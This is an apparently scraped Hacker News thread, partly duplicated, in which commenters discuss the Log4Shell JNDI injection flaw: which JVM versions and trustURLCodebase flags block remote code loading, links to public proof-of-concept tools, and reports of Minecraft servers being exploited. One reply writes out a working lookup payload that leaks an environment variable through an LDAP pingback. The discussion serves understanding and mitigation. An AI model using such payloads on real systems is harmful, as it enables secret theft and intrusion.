5 ms·

Are there any mitigations in recent JVMs? I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload. See also:

Are there any mitigations in recent JVMs? I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload. See also: - https://github.com/tangxiaofeng7/apache-log4j-poc https://github.com/tangxiaofeng7/apache-log4j-poc - https://github.com/mbechler/marshalsec https://github.com/mbechler/marshalsec - https://github.com/veracode-research/rogue-jndi https://github.com/veracode-research/rogue-jndi Minecraft servers were being actively exploited according to various tweets.

Fabricio20 5y ago
Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.
- brasetvik 5y ago
  That's good clarification, thanks. I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient. While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.
  - Fabricio20 5y ago
    If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.
    - ryan_lane 5y ago
      Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.
      - brasetvik 5y ago
        Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`
  - deleted 5y ago
    [deleted]
- garydgregory 5y ago
  Oracle says this is in 8u121, not 8u191: https://www.oracle.com/java/technologies/javase/8u121-relnotes.html https://www.oracle.com/java/technologies/javase/8u121-relnot...
  - cjcampbell 5y ago
    8u121 seems to address the RMI vector but not LDAP (per https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://www.veracode.com/blog/research/exploiting-jndi-injec...).
    - twic 5y ago
      The trustURLCodebase check was added to the LDAP provider in 2009: https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71a888db1be31407b783c7 https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71... This change is included in tag jdk8-b01, which was the first release build of Java 8. I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise? Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.
      - twic 5y ago
        Or maybe not: > Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834 https://bugzilla.redhat.com/show_bug.cgi?id=1639834). https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
- nyxmare 5y ago
  so, thats mean its impossible to get RCE without those flag?
  - cjcampbell 5y ago
    It is still possible to RCE, but you won’t be able to achieve it using the proof of concept code. See the article for resources that describe alternative methods to exploit.
- znep 5y ago
  While the specific exploit may not be possible in 8u191 and later, I am not convinced they are safe from all RCEs using this vulnerability. It does make it harder to exploit, and hit or miss depending on what is available in the classpath. See https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://www.veracode.com/blog/research/exploiting-jndi-injec...
kosma 5y ago
I find it the most bizarre that I had my Minecraft server patched before the news even hit HN.
deleted 5y ago
[deleted]

Fabricio20 5y ago

Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.

brasetvik 5y ago
That's good clarification, thanks. I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient. While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.
- Fabricio20 5y ago
  If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.
  - ryan_lane 5y ago
    Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.
    - brasetvik 5y ago
      Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`
- deleted 5y ago
  [deleted]
garydgregory 5y ago
Oracle says this is in 8u121, not 8u191: https://www.oracle.com/java/technologies/javase/8u121-relnotes.html https://www.oracle.com/java/technologies/javase/8u121-relnot...
- cjcampbell 5y ago
  8u121 seems to address the RMI vector but not LDAP (per https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://www.veracode.com/blog/research/exploiting-jndi-injec...).
  - twic 5y ago
    The trustURLCodebase check was added to the LDAP provider in 2009: https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71a888db1be31407b783c7 https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71... This change is included in tag jdk8-b01, which was the first release build of Java 8. I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise? Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.
    - twic 5y ago
      Or maybe not: > Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834 https://bugzilla.redhat.com/show_bug.cgi?id=1639834). https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
nyxmare 5y ago
so, thats mean its impossible to get RCE without those flag?
- cjcampbell 5y ago
  It is still possible to RCE, but you won’t be able to achieve it using the proof of concept code. See the article for resources that describe alternative methods to exploit.
znep 5y ago
While the specific exploit may not be possible in 8u191 and later, I am not convinced they are safe from all RCEs using this vulnerability. It does make it harder to exploit, and hit or miss depending on what is available in the classpath. See https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://www.veracode.com/blog/research/exploiting-jndi-injec...

kosma 5y ago

I find it the most bizarre that I had my Minecraft server patched before the news even hit HN.

deleted 5y ago

[deleted]